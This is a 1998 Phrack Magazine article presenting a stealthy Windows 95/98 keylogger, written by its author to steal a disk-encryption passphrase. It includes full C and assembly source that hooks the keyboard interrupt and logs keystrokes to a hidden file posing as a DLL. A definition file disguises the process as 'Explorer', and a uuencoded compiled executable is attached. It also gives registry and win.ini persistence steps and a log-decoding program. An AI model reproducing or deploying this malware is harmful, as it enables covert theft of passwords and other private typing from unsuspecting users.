---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 07 of 15


-------------------------[  A Stealthy Windows Keylogger


--------[  [email protected]


    I recently felt the need to acquire some data being typed into Windows95
machines on a small TCP-IP network.  I had occasional physical access to the
machines and I knew the remote administration password, but the files were
being saved in BestCryptNP volumes, the passphrase for which I didn't know...

    I searched the Net as best I could for a suitable keylogging program that
would allow me to capture the passphrase without being noticed, but all I
could find was I big boggy thing written in visual basic that insisted on
opening a window.  I decided to write my own.  I wanted to write it as a VXD
because they run at Privilege Level 0 and can do just about ANYTHING.  I soon
gave up on this idea because I couldn't acquire the correct tools and certainly
couldn't afford to buy them.

    While browsing through the computer section of my local public library one
day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993.  A quick flick
through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
Mode Hardware Interrupts".  I immediately borrowed the book and photocopied
it (Sorry about the royalties Barry).  As I read chapter 10 I realized that
all I needed was a small 16 bit Windows program running as a normal user
process to capture every keystroke typed into windows.  The only caveat was
that keystrokes typed into DOS boxes wouldn't be captured.  Big deal.  I could
live without that.  I was stunned to discover that all user programs in Windows
share a single Interrupt Descriptor Table (IDT).  This implies that if one
user program patches a vector in the IDT, then all other programs are
immediately affected.

    The only tool I had for generating windows executables was Borland C Ver
2.0 which makes small and cute windows 3.0 EXE's, so that's what I used.  I
have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
beta 3.  It will probably work on Windows 3.x as well.

    As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
called POWERX.DLL and record all keystrokes into it using the same encoding
scheme as Doc Cypher's KEYTRAP3.COM program for DOS.  This means that you can
use the same conversion program, CONVERT3.C, to convert the raw scancodes in
the log file to readable ASCII.  I have included a slightly "improved" version
of CONVERT3.C with a couple of bugs fixed.  I contemplated incorporating the
functionality of CONVERT3 into W95Klog, but decided that logging scancodes
was "safer" that logging plain ASCII.  If the log file is larger that 2
megabytes when the program starts, it will be deleted and re-created with
length zero.  When you press CTRL-ALT-DEL (in windows95/98) to look at the
Task List, W95Klog will show up as "Explorer".  You can change this by editing
the .DEF file and recompiling, or by HEX Editing the .EXE file.  If anyone
knows how to stop a user program from showing on this list please tell me.

    To cause the target machine to run W95Klog every time it starts Windows
you can:

  1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
confusing name :)   Warning!  This will cause a nasty error message if
WHLPFFS.EXE can't be found.  This method has the advantage of being able to be
performed over the network via "remote administration" without the need for
both computers to be running "remote registry service".

  2) Edit the registry key: (Win95/98)
`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
a new key called whatever you like with a string value of "WHLPFFS.EXE" or
whatever.  This is my preferred method because it is less likely to be stumbled
upon by the average user and windows continues without complaint if the
executable can't be found.  The log file can be retrieved via the network even
when it is still open for writing by the logging program.  This is very
convenient ;).


<++> EX/win95log/convert.c
//
// Convert v3.0
// Keytrap logfile converter.
// By dcypher <[email protected]>
// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
// Released: 8/8/95
// 
// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
//

#include <stdio.h>

#define MAXKEYS 256
#define WS 128

const char *keys[MAXKEYS];

void main(int argc,char *argv[])
{     
      FILE *stream1;
      FILE *stream2;

 	unsigned int Ldata,Nconvert=0,Yconvert=0;
        char logf_name[100],outf_name[100];
  	
  	//
 	// HERE ARE THE KEY ASSIGNMENTS !!
 	//
 	// You can change them to anything you want. 
 	// If any of the key assignments are wrong, please let
 	// me know. I havn't checked all of them, but it looks ok.
 	//
 	//   v--- Scancodes logged by the keytrap TSR
 	//          v--- Converted to the string here
 	 	 	       
 	keys[1]  = "<uk>";	  				
 	keys[2]  = "1";   		 
 	keys[3]  = "2";    	 
 	keys[4]  = "3";
 	keys[5]  = "4";
 	keys[6]  = "5";
 	keys[7]  = "6";
 	keys[8]  = "7";
	keys[9]  = "8";
 	keys[10] = "9";
 	keys[11] = "0";
 	keys[12] = "-";
 	keys[13] = "=";
 	keys[14] = "<bsp>";
 	keys[15] = "<tab>";
 	keys[16] = "q";
 	keys[17] = "w";
 	keys[18] = "e";
 	keys[19] = "r";
 	keys[20] = "t";
 	keys[21] = "y";
 	keys[22] = "u";
 	keys[23] = "i";
 	keys[24] = "o";
	keys[25] = "p";
 	keys[26] = "[";  /* = ^Z  Choke! */
 	keys[27] = "]";
 	keys[28] = "<ret>"; 	
 	keys[29] = "<ctrl>";
 	keys[30] = "a";
 	keys[31] = "s"; 	
 	keys[32] = "d";
 	keys[33] = "f";
 	keys[34] = "g";
 	keys[35] = "h";
 	keys[36] = "j";
 	keys[37] = "k";
 	keys[38] = "l";
 	keys[39] = ";"; 	
 	keys[40] = "'";
 	keys[41] = "`";
 	keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
 	keys[43] = "\\";           //			 and not converted
 	keys[44] = "z";
 	keys[45] = "x";
 	keys[46] = "c";
 	keys[47] = "v";
 	keys[48] = "b";
 	keys[49] = "n";
 	keys[50] = "m";
 	keys[51] = ",";
 	keys[52] = ".";
 	keys[53] = "/";
 	keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
 	keys[55] = "*";             // 		   and not converted
 	keys[56] = "<alt>";
 	keys[57] = " ";         
 	
 	// now show with shift key
 	// the TSR adds 128 to the scancode to show shift/caps

 	keys[1+WS]  = "[";  /* was "<unknown>" but now fixes ^Z problem */	  				
 	keys[2+WS]  = "!";   		 
 	keys[3+WS]  = "@";    	 
 	keys[4+WS]  = "#";
 	keys[5+WS]  = "$";
 	keys[6+WS]  = "%";
 	keys[7+WS]  = "^";
 	keys[8+WS]  = "&";
	keys[9+WS]  = "*";
 	keys[10+WS] = "(";
 	keys[11+WS] = ")";
 	keys[12+WS] = "_";
 	keys[13+WS] = "+";
 	keys[14+WS] = "<shift+bsp>";
 	keys[15+WS] = "<shift+tab>";
  	keys[16+WS] = "Q";
 	keys[17+WS] = "W";
 	keys[18+WS] = "E";
 	keys[19+WS] = "R";
 	keys[20+WS] = "T";
 	keys[21+WS] = "Y";
 	keys[22+WS] = "U";
 	keys[23+WS] = "I";
 	keys[24+WS] = "O";
	keys[25+WS] = "P";
 	keys[26+WS] = "{";
 	keys[27+WS] = "}";
 	keys[28+WS] = "<shift+ret>";
 	keys[29+WS] = "<shift+ctrl>";
 	keys[30+WS] = "A";
 	keys[31+WS] = "S"; 	
 	keys[32+WS] = "D";
 	keys[33+WS] = "F";
 	keys[34+WS] = "G";
 	keys[35+WS] = "H";
 	keys[36+WS] = "J";
 	keys[37+WS] = "K";
 	keys[38+WS] = "L";
 	keys[39+WS] = ":"; 	
 	keys[40+WS] = "\"";
 	keys[41+WS] = "~";
 	keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
 	keys[43+WS] = "|";            //     	    and not converted
  	keys[44+WS] = "Z";
 	keys[45+WS] = "X";
 	keys[46+WS] = "C";
 	keys[47+WS] = "V";
 	keys[48+WS] = "B";
 	keys[49+WS] = "N";
 	keys[50+WS] = "M";
  	keys[51+WS] = "<";
 	keys[52+WS] = ">";
 	keys[53+WS] = "?";
 	keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
 	keys[55+WS] = "<shift+*>";     //			and not converted
 	keys[56+WS] = "<shift+alt>";
 	keys[57+WS] = " ";
 	 	 	 	           	     
     	printf("\n");
 	printf("Convert v3.0\n");
 	// printf("Keytrap logfile converter.\n");
 	// printf("By dcypher <[email protected]>\n\n");
 	printf("Usage: CONVERT infile outfile\n");
 	printf("\n");
 	
 	if (argc==3)
 	{
  		strcpy(logf_name,argv[1]);
 		strcpy(outf_name,argv[2]);
 	}
 	
 	else
 	{
      	printf("Enter infile name: ");
                scanf("%99s",&logf_name);
 		printf("Enter outfile name: ");
                scanf("%99s",&outf_name);
 		printf("\n");
  	}
  		
	stream1=fopen(logf_name,"rb");
	stream2=fopen(outf_name,"a+b");

	if (stream1==NULL || stream2==NULL)
	{
		if (stream1==NULL)
			printf("Error opening: %s\n\a",logf_name);
		else
			printf("Error opening: %s\n\a",outf_name);
	}
	
	else
	{
		fseek(stream1,0L,SEEK_SET);
		printf("Reading data from: %s\n",logf_name);
		printf("Appending information to..: %s\n",outf_name);
		
		while (feof(stream1)==0)
			{
				Ldata=fgetc(stream1);	
				
				if (Ldata>0
				&& Ldata<186)
				{	
					if (Ldata==28 || Ldata==28+WS)
					{	
						fputs(keys[Ldata],stream2);
						fputc(0x0A,stream2);
						fputc(0x0D,stream2);
						Yconvert++;
					}	
					else					
						fputs(keys[Ldata],stream2);
						Yconvert++;
				}
				else
				{     
					fputs("<UK>",stream2);
					Nconvert++;
				}
					
			}
	}
	
      fflush(stream2);  
	printf("\n\n");
	printf("Data converted....: %i\n",Yconvert);
	printf("Data not converted: %i\n",Nconvert); 	
	printf("\n");	
	printf("Closeing  infile: %s\n",logf_name);
	printf("Closeing outfile: %s\n",outf_name);
      fclose(stream1);
	fclose(stream2);
}

<-->
<++> EX/win95log/W95Klog.c
/*
 * W95Klog.C   Windows stealthy keylogging program
 */

/*
 * This will ONLY compile with BORLANDC V2.0 small model.
 * For other compilers you will have to change newint9()
 * and who knows what else :)
 *
 * Captures ALL interesting keystrokes from WINDOWS applications
 * but NOT from DOS boxes.
 * Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
 */

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>

//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
#define LOGFILE "POWERX.DLL"    //Name of log file in WINDOWS\SYSTEM
#define LOGMAXSIZE 2097152      //Max size of log file (2Megs)

#define HIDDEN 2
#define SEEK_END 2

#define NEWVECT 018h       // "Unused" int that is used to call old
                           // int 9 keyboard routine.
                           // Was used for ROMBASIC on XT's
                           // Change it if you get a conflict with some
                           //  very odd program.  Try 0f9h.

/************* Global Variables in DATA SEGment ****************/

HWND                 hwnd;        // used by newint9()
unsigned int         offsetint;   // old int 9 offset
unsigned int         selectorint; // old int 9 selector
unsigned char        scancode;    // scan code from keyboard

//WndProc
char sLogPath[160];
int  hLogFile;
long lLogPos;
char sLogBuf[10];

//WinMain
char szAppName[]="Explorer";
MSG         msg;
WNDCLASS    wndclass;

/***************************************************************/

//
//__________________________
void interrupt newint9(void)  //This is the new int 9 (keyboard) code
	                 // It is a hardware Interrupt Service Routine. (ISR)
{
scancode=inportb(0x60);
if((scancode<0x40)&&(scancode!=0x2a)) {
  if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
    // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
    if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
                       ((scancode>43)&&(scancode<51)))  //Phew!
      scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
    }//if CAPSLOCK
  if(peekb(0x0040, 0x0017)&3)  //if any shift key is pressed...
    scancode^=128;   //bit 7 indicates SHIFT state to CONVERT.C program
  if(scancode==26)   //Nasty ^Z bug in convert program
    scancode=129;    //New code for "["

  //Unlike other Windows functions, an application may call PostMessage
  // at the hardwareinterrupt level. (Thankyou Micr$oft!)
  PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
  }//if scancode in range

  asm {  //This is very compiler specific, & kinda ugly!
      pop bp
      pop di
      pop si
      pop ds
      pop es
      pop dx
      pop cx
      pop bx
      pop ax
      int NEWVECT       // Call the original int 9 Keyboard routine
      iret              // and return from interrupt
      }
}//end newint9


//This is the "callback" function that handles all messages to our "window"
//_____________________________________________________________________
long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
  {

//asm int 3;         //For Soft-ice debugging
//asm int 18h;       //For Soft-ice debugging

  switch(message) {
    case WM_CREATE:  // hook the keyboard hardware interupt
      asm {
          pusha
          push es
          push ds
                           // Now get the old INT 9 vector and save it...
          mov al,9
          mov ah,35h       // into ES:BX
          int 21h
          push es
          pop ax
          mov offsetint,bx  // save old vector in data segment
          mov selectorint,ax //     /
          mov dx,OFFSET newint9  // This is an OFFSET in the CODE segment
          push cs
          pop ds            // New vector in DS:DX
          mov al,9
          mov ah,25h
          int 21h           // Set new int 9 vector
          pop ds            // get data seg for this program
          push ds
                            // now hook unused vector
                            //  to call old int 9 routine
          mov dx,offsetint
          mov ax,selectorint
          mov ds,ax
          mov ah,25h
          mov al,NEWVECT
          int 21h
                            // Installation now finished
          pop ds
          pop es
          popa
          } // end of asm

      //Get path to WINDOWS directory
      if(GetWindowsDirectory(sLogPath,150)==0) return 0;

      //Put LOGFILE on end of path
      strcat(sLogPath,"\\SYSTEM\\");
      strcat(sLogPath,LOGFILE);
      do {
        // See if LOGFILE exists
        hLogFile=_lopen(sLogPath,OF_READ);
        if(hLogFile==-1) { // We have to Create it
          hLogFile=_lcreat(sLogPath,HIDDEN);
          if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
          }
        _lclose(hLogFile);

        // Now it exists and (hopefully) is hidden....
        hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
        if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
        lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
        if(lLogPos==-1) return 0; //Die quietly if can't seek to end
        if(lLogPos>LOGMAXSIZE) {  //Let's not fill the harddrive...
          _lclose(hLogFile);
          _chmod(sLogPath,1,0);
          if(unlink(sLogPath)) return 0; //delete or die
          }//if file too big
        } while(lLogPos>LOGMAXSIZE);
      break;

    case WM_USER:        // A scan code....
      *sLogBuf=(char)wParam;
      _write(hLogFile,sLogBuf,1);
      break;

    case WM_ENDSESSION:  // Is windows "restarting" ?
    case WM_DESTROY:     // Or are we being killed  ?
    asm{
        push    dx
        push    ds
        mov     dx,offsetint
        mov     ds,selectorint
        mov     ax,2509h
        int     21h           //point int 09 vector back to old
        pop     ds
        pop     dx
        }
      _lclose(hLogFile);
      PostQuitMessage(0);
      return(0);
    } //end switch

     //This handles all the messages that we don't want to know about
     return DefWindowProc(hwnd,message,wParam,lParam);
     }//end WndProc

/**********************************************************/
int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
                    LPSTR lpszCmdParam, int nCmdShow)
    {

    if (!hPrevInstance) {  //If there is no previous instance running...
      wndclass.style         = CS_HREDRAW | CS_VREDRAW;
      wndclass.lpfnWndProc   = WndProc; //function that handles messages
                                        // for this window class
      wndclass.cbClsExtra    = 0;
      wndclass.cbWndExtra    = 0;
      wndclass.hInstance     = hInstance;
      wndclass.hIcon         = NULL;
      wndclass.hCursor       = NULL;
      wndclass.hbrBackground = NULL;
      wndclass.lpszClassName = szAppName;

      RegisterClass (&wndclass);

      hwnd = CreateWindow(szAppName,   //Create a window
                  szAppName,           //window caption
                  WS_OVERLAPPEDWINDOW, //window style
                  CW_USEDEFAULT,       //initial x position
                  CW_USEDEFAULT,       //initial y position
                  CW_USEDEFAULT,       //initial x size
                  CW_USEDEFAULT,       //initial y size
                  NULL,                //parent window handle
                  NULL,                //Window Menu handle
                  hInstance,           //program instance handle
                  NULL);               //creation parameters

      //ShowWindow(hwnd,nCmdShow);     //We don't want  no
      //UpdateWindow(hwnd);            // stinking window!

      while (GetMessage(&msg,NULL,0,0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
        }
      }//if no previous instance of this program is running...
    return msg.wParam;  //Program terminates here after falling out
    } //End of WinMain        of the while() loop.
<-->
<++> EX/win95log/W95KLOG.DEF
;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
NAME           Explorer
DESCRIPTION    'Explorer'
EXETYPE        WINDOWS
CODE           PRELOAD FIXED
DATA           PRELOAD FIXED SHARED
HEAPSIZE       2048
STACKSIZE      8096
<-->
<++> EX/win95log/W95KLOG.EXE.uue
begin 600 W95KLOG.EXE
M35H"`08````$``\`__\``+@`````````0```````````````````````````
M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````)K__P``"\!U`^G$
M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
M(`(@`B`$H`*@________________________________________````$P("
M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
!````
`
end
<-->

----[  EOF